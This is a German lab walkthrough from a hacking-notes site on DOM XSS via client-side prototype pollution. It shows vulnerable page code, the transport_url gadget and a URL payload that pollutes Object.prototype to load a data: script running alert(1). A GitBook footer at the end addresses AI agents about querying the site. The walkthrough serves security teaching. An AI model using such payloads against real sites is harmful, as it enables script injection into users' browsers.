> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# DOM-XSS über client-seitige Prototype Pollution

#### DOM-XSS durch clientseitige Prototype Pollution

#### Laborkontext

Die Anwendung ist anfällig für eine **DOM-XSS** ausgelöst durch eine **Prototype Pollution** (clientseitig). / Zweck: **verschmutzen `Object.prototype`** mit einer nützlichen Eigenschaft, finde ein **Gadget** im JS, das es ausführt, und dann ausführen `alert()`.

### 1) Beobachtung der Prototype-Pollution

#### Quelle der Pollution (in der URL)

Eigenschaften können injiziert werden in `__proto__` über die Parameter:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Prüfung in der Konsole

Nach der Navigation wird überprüft, dass die Eigenschaft "fail" in allen Objekten:

```javascript
console.log({}.foo)
```

<figure><img src="/files/dd1e72d5e123aa1fb62f206c1580d225e68a76cf" alt="" width="563"><figcaption></figcaption></figure>

### 2) Verwundbarer Client-Code

Die Seite enthält eine Logik für

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Wichtiger Punkt: Der Code liest **`config.transport_url`** und verwendet es als **Quelle eines `<script>`**.

### 3) Identifiziertes ausnutzbares Gadget

#### Gadget

* `config.transport_url`

#### Warum dies gefährlich ist

Wenn `transport_url` existiert (sogar über das Prototype), macht das Skript:

* erstelle ein `<script>`
* `script.src = config.transport_url`
* Einbindung in das DOM

So können wir den Browser zwingen, ein Skript von einer kontrollierten URL zu laden.

### 4) Aktion: Die XSS auslösen

#### Payload (Pollution + Ausführung)

`Object.prototype.transport_url` wird mit einer `data:` URL, die ausführt `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="/files/cd2575878719271990e564477e54d1d132c88953" alt=""><figcaption></figcaption></figure>

#### DOM-Nebeneffekt

Der Code erzeugt am Ende etwas Äquivalentes zu:

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
